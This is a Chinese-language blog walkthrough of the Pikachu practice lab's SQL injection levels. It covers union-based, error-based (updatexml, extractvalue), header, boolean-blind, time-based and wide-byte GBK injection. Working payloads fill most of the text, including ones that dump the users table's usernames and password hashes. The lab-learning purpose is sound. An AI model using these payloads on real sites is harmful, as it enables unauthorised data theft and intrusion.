赞
踩
手动方式:手工构造SQL语句进行注入点发现
自动方式:采用自动扫描工具,自动进行注入点发现
通过注入点取得想要得到的数据环境信息:数据库名称、类型、版本、用户信息等
数据库信息:数据库表、表字段、字段内容等(加密内容破解)
获取操作系统权限:通过数据库执行shell,上传木马
分类依据:输入的变量传入到SQL语句是以什么类型进行拼接的
数字型:user_id=$id
字符型:user_id='$id'(区别就是有双引号或者单引号,构造语句闭合的时候也应根据这个特点确定类型)
搜索型:text LIKE '%{$_GET['search']}%'
根据规定的数字返回名称和邮箱,说明和数据库有交互,接受的数据类型为数字型
由于是POST请求方式,我们不能在url直接输入,可以直接burp suite抓包注入
判断字段数,发现order by 2回显正常,order by 3 不正常,说明字段数为2.
判断注入点后,可以收集数据库信息
id=-1让网页报错回显后面的参数(这里不报错也可以,但是输-1准没错),union联合查询 select 后跟字段数
注入payload id=-1 union select version(),database()
可以查到数据库版本和数据库名
输入id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"可以获取pikachu数据库下的所有表名
(mysql5.0以上版本存在一个自带的数据库information_schema 存储所有数据库名,表名,列明。可以通过他查询)
输入id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="users" 查询所有列明
可以看到有password和username的列名里面有储存的账号密码数据
输入 -1 union select group_concat(username),group_concat(password) from users 可以查到username和password里面的数据,可以看到密码是md5加密的,解密即可,密码是123456。
可以看到get请求的参数会出现在url上。可以在url上测注入点,字符型的数据需要闭合掉查询语句才能正常注入
尝试单引号闭合然后#注释掉后面的语句,输入kobe’ and 1=1#的时候页面正常,并且kobe’ and 1=2#页面不正常说明存在注入并且能够闭合,接下来的步骤和第一关差不多不在赘述。
这里涉及到数据库模糊查询内容
这个语句会查询包含6的用户名
SELECT * FROM users WHERE name LIKE '%6%'
这个语句可以查询到所有j开头的用户名
SELECT * FROM users WHERE name LIKE 'J%'
观察到这里应该是第一种模糊查询,需要用%'闭合掉前面的语句#注释掉后面的语句即可
这里输入o%’ and 1=1#回显正常,输入k%’ and 1=2#回显不正常,说明存在注入且语句闭合正常,接下来就和第一关一样注入即可
提示关tmd的什么型,只要能闭合就是本事。先尝试吧
试了一会发现不行,只能去看看源代码了55
可以看到这个 sql语句是 username=('$name') 没想到是这个样子查询,这下知道了就可以闭合了
输入kobe') union select 1,2# 正常显示输入kobe') union select 1,2,3#不正常,说明有两个显示位
接下来注意闭合就和其他的一样了
insert 插入 update 更新 delete 删除
这里点击注册输入必选项,然后抓掉这个注册数据包,在username处尝试注入
输入1' and 1=2# 爆出了语法错误,说明这个点存在注入,但是输入的单引号带入后台执行不了
结合insert的用法大概后台是这样
insert into 表名(用户,密码,性别,手机,地址,住址) values ('1',2,3,4,5,6)
这里构造一个报错注入的payload
' or updatexml(1,concat(0x7e,database()),0) or ' 就可以爆出数据库名,接下来就可以用这个报错语句注入了
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) or' 可以查询表名
这一关和上一关原理相同,点击删除的时候抓包
抓到的包长这样?id后面是注入点在这里构建payload
' or extractvalue(1,concat(0x7e,(select database()))) or '
这里需要先登录,发现 网站请求我们的客户端信息,那么这些信息点就是注入点
这里刷新一下然后抓包
在user-agent这里尝试报错注入
payload
' or extractvalue(1,concat(0x7e,(select database()))) or '
布尔判断”指的是利用SQL语句逻辑与操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态。
(非常麻烦一般手动注入不会考虑此方法,需要慢慢判断)
输入and 1=1回显正常 或者 and1=2 都说不存在,有注入点,但是不会回显数据,这里可以尝试布尔注入
方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入; 由于无法回显数据,利用逻辑操与数据库版本第1位数字字符做判断;
语句:?id=1' and left(version(),1)=5 --+
判断当前查询数据库的长度
方法:由于无法回显数据,先判断当前数据库的长度,减小后面猜解数据库名称工作量; 语句:?id=1' and length(database())>8 --+
不管输入什么都是提示这一句话
输入一下语句看延迟可以判断
- kobe and sleep(5)# 没有延迟
- kobe' and sleep(5)# 延迟五秒
- kobe' and if((substr(database(),1,1))='a',sleep(5),null)#
- if(判断语句,1,2)
- 如果判断成立执行1,否则执行2
时间盲注整体上基本就是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值,而时间盲注,不管正确还是错误都不会返回值,需要靠延迟判断。
通过不管判断数据库各个位置的字母,长度,不断推断数据库的数据
1)宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个 字符是一个汉字(前一个 ascii 码要大于 128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql 会调用转义函数,将单引号变为’,其中\的十 六进制是%5c,mysql 的 GBK 编码,会认为%df%5c 是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
2)测试宽字节注入,和联合注入是一样的只是在内容后面添加%df即可,通过在内容输入处输入内容,然后修改。比如获取显示位。
1%df' union select 1,2#
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。